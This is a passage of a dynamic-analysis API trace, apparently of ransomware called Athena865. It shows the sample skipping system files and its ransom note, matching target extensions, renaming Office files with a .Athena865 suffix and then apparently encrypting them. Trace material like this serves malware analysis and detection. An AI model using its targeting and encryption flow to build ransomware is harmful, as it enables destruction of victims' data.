[0073.842] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0073.842] lstrlenW (lpString="spq") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0073.842] lstrlenW (lpString="te") returned 2 [0073.842] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0073.842] lstrlenW (lpString="teacher") returned 7 [0073.842] lstrcmpiW (lpString1="OLK.DLL", lpString2="teacher") returned -1 [0073.842] lstrlenW (lpString="tmd") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0073.842] lstrlenW (lpString="tps") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0073.842] lstrlenW (lpString="trc") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0073.842] lstrlenW (lpString="trc") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0073.842] lstrlenW (lpString="trm") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0073.842] lstrlenW (lpString="udb") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0073.842] lstrlenW (lpString="udl") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0073.843] lstrlenW (lpString="usr") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0073.843] lstrlenW (lpString="v12") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0073.843] lstrlenW (lpString="vis") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0073.843] lstrlenW (lpString="vpd") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0073.843] lstrlenW (lpString="vvv") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0073.843] lstrlenW (lpString="wdb") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0073.843] lstrlenW (lpString="wmdb") returned 4 [0073.843] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0073.843] lstrlenW (lpString="wrk") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0073.843] lstrlenW (lpString="xdb") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0073.843] lstrlenW (lpString="xld") returned 3 [0073.843] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0073.843] lstrlenW (lpString="xmlff") returned 5 [0073.843] lstrcmpiW (lpString1="K.DLL", lpString2="xmlff") returned -1 [0073.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL.Athena865") returned 62 [0073.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll.athena865"), dwFlags=0x1) returned 1 [0073.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.844] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=235912) returned 1 [0073.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.844] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.845] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.845] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.845] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39c90, lpName=0x0) returned 0x17c [0073.847] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39c90) returned 0x170000 [0073.857] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.858] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.858] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.859] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0073.861] CloseHandle (hObject=0x17c) returned 1 [0073.861] CloseHandle (hObject=0x154) returned 1 [0073.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.862] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2=".") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="..") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="windows") returned -1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="bootmgr") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="temp") returned -1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="pagefile.sys") returned -1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="boot") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="ids.txt") returned 1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="ntuser.dat") returned -1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="perflogs") returned -1 [0073.862] lstrcmpiW (lpString1="IXACS.PDL", lpString2="MSBuild") returned -1 [0073.862] lstrlenW (lpString="IXACS.PDL") returned 9 [0073.863] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXACS.PDL" | out: lpString1="IXACS.PDL") returned="IXACS.PDL" [0073.863] lstrlenW (lpString="IXACS.PDL") returned 9 [0073.863] lstrlenW (lpString="Athena865") returned 9 [0073.863] lstrlenW (lpString=".dll") returned 4 [0073.863] lstrcmpiW (lpString1="IXACS.PDL", lpString2=".dll") returned 1 [0073.863] lstrlenW (lpString=".lnk") returned 4 [0073.863] lstrcmpiW (lpString1="IXACS.PDL", lpString2=".lnk") returned 1 [0073.863] lstrlenW (lpString=".ini") returned 4 [0073.863] lstrcmpiW (lpString1="IXACS.PDL", lpString2=".ini") returned 1 [0073.863] lstrlenW (lpString=".sys") returned 4 [0073.863] lstrcmpiW (lpString1="IXACS.PDL", lpString2=".sys") returned 1 [0073.863] lstrlenW (lpString="IXACS.PDL") returned 9 [0073.863] lstrlenW (lpString="bak") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="bak") returned 1 [0073.863] lstrlenW (lpString="ba_") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="ba_") returned 1 [0073.863] lstrlenW (lpString="dbb") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="dbb") returned 1 [0073.863] lstrlenW (lpString="vmdk") returned 4 [0073.863] lstrcmpiW (lpString1=".PDL", lpString2="vmdk") returned -1 [0073.863] lstrlenW (lpString="rar") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="rar") returned -1 [0073.863] lstrlenW (lpString="zip") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="zip") returned -1 [0073.863] lstrlenW (lpString="tgz") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="tgz") returned -1 [0073.863] lstrlenW (lpString="vbox") returned 4 [0073.863] lstrcmpiW (lpString1=".PDL", lpString2="vbox") returned -1 [0073.863] lstrlenW (lpString="vdi") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="vdi") returned -1 [0073.863] lstrlenW (lpString="vhd") returned 3 [0073.863] lstrcmpiW (lpString1="PDL", lpString2="vhd") returned -1 [0073.863] lstrlenW (lpString="vhdx") returned 4 [0073.864] lstrcmpiW (lpString1=".PDL", lpString2="vhdx") returned -1 [0073.864] lstrlenW (lpString="avhd") returned 4 [0073.864] lstrcmpiW (lpString1=".PDL", lpString2="avhd") returned -1 [0073.864] lstrlenW (lpString="db") returned 2 [0073.864] lstrcmpiW (lpString1="DL", lpString2="db") returned 1 [0073.864] lstrlenW (lpString="db2") returned 3 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="db2") returned 1 [0073.864] lstrlenW (lpString="db3") returned 3 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="db3") returned 1 [0073.864] lstrlenW (lpString="dbf") returned 3 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="dbf") returned 1 [0073.864] lstrlenW (lpString="mdf") returned 3 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="mdf") returned 1 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="mdb") returned 1 [0073.864] lstrcmpiW (lpString1="PDL", lpString2="sql") returned -1 [0073.864] lstrcmpiW (lpString1="CS.PDL", lpString2="sqlite") returned -1 [0073.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL.Athena865") returned 62 [0073.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl.athena865"), dwFlags=0x1) returned 1 [0073.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.865] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=348576) returned 1 [0073.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.866] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.866] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.867] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x554a0, lpName=0x0) returned 0x17c [0073.868] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x554a0) returned 0x2d50000 [0073.881] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.882] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.882] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.883] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.886] CloseHandle (hObject=0x17c) returned 1 [0073.886] CloseHandle (hObject=0x154) returned 1 [0073.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.888] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2=".") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="..") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="windows") returned -1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="bootmgr") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="temp") returned -1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="pagefile.sys") returned -1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="boot") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="ids.txt") returned 1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="ntuser.dat") returned -1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="perflogs") returned -1 [0073.888] lstrcmpiW (lpString1="IXDB2.PDL", lpString2="MSBuild") returned -1 [0073.888] lstrlenW (lpString="IXDB2.PDL") returned 9 [0073.888] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXDB2.PDL" | out: lpString1="IXDB2.PDL") returned="IXDB2.PDL" [0073.888] lstrlenW (lpString="IXDB2.PDL") returned 9 [0073.888] lstrlenW (lpString="Athena865") returned 9 [0073.888] lstrlenW (lpString=".dll") returned 4 [0073.889] lstrcmpiW (lpString1="IXDB2.PDL", lpString2=".dll") returned 1 [0073.889] lstrlenW (lpString=".lnk") returned 4 [0073.889] lstrcmpiW (lpString1="IXDB2.PDL", lpString2=".lnk") returned 1 [0073.889] lstrlenW (lpString=".ini") returned 4 [0073.889] lstrcmpiW (lpString1="IXDB2.PDL", lpString2=".ini") returned 1 [0073.889] lstrlenW (lpString=".sys") returned 4 [0073.889] lstrcmpiW (lpString1="IXDB2.PDL", lpString2=".sys") returned 1 [0073.889] lstrlenW (lpString="IXDB2.PDL") returned 9 [0073.889] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL.Athena865") returned 62 [0073.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl.athena865"), dwFlags=0x1) returned 1 [0073.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.898] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=213384) returned 1 [0073.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.898] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.899] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.899] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.899] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34490, lpName=0x0) returned 0x17c [0073.901] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34490) returned 0x170000 [0073.908] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.909] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.909] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.910] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0073.912] CloseHandle (hObject=0x17c) returned 1 [0073.912] CloseHandle (hObject=0x154) returned 1 [0073.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.913] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2=".") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="..") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="windows") returned -1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="bootmgr") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="temp") returned -1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="pagefile.sys") returned -1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="boot") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="ids.txt") returned 1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="ntuser.dat") returned -1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="perflogs") returned -1 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2="MSBuild") returned -1 [0073.913] lstrlenW (lpString="IXGENERC.PDL") returned 12 [0073.913] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXGENERC.PDL" | out: lpString1="IXGENERC.PDL") returned="IXGENERC.PDL" [0073.913] lstrlenW (lpString="IXGENERC.PDL") returned 12 [0073.913] lstrlenW (lpString="Athena865") returned 9 [0073.913] lstrcmpiW (lpString1="ENERC.PDL", lpString2="Athena865") returned 1 [0073.913] lstrlenW (lpString=".dll") returned 4 [0073.913] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2=".dll") returned 1 [0073.913] lstrlenW (lpString=".lnk") returned 4 [0073.914] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2=".lnk") returned 1 [0073.914] lstrlenW (lpString=".ini") returned 4 [0073.914] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2=".ini") returned 1 [0073.914] lstrlenW (lpString=".sys") returned 4 [0073.914] lstrcmpiW (lpString1="IXGENERC.PDL", lpString2=".sys") returned 1 [0073.914] lstrlenW (lpString="IXGENERC.PDL") returned 12 [0073.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL.Athena865") returned 65 [0073.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl.athena865"), dwFlags=0x1) returned 1 [0073.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.915] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93616) returned 1 [0073.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.915] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.916] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.916] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.916] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x170b0, lpName=0x0) returned 0x17c [0073.918] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x170b0) returned 0x100000 [0073.921] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.922] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.922] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.922] RtlAllocateHeap (HeapHandle=0x4f0000, 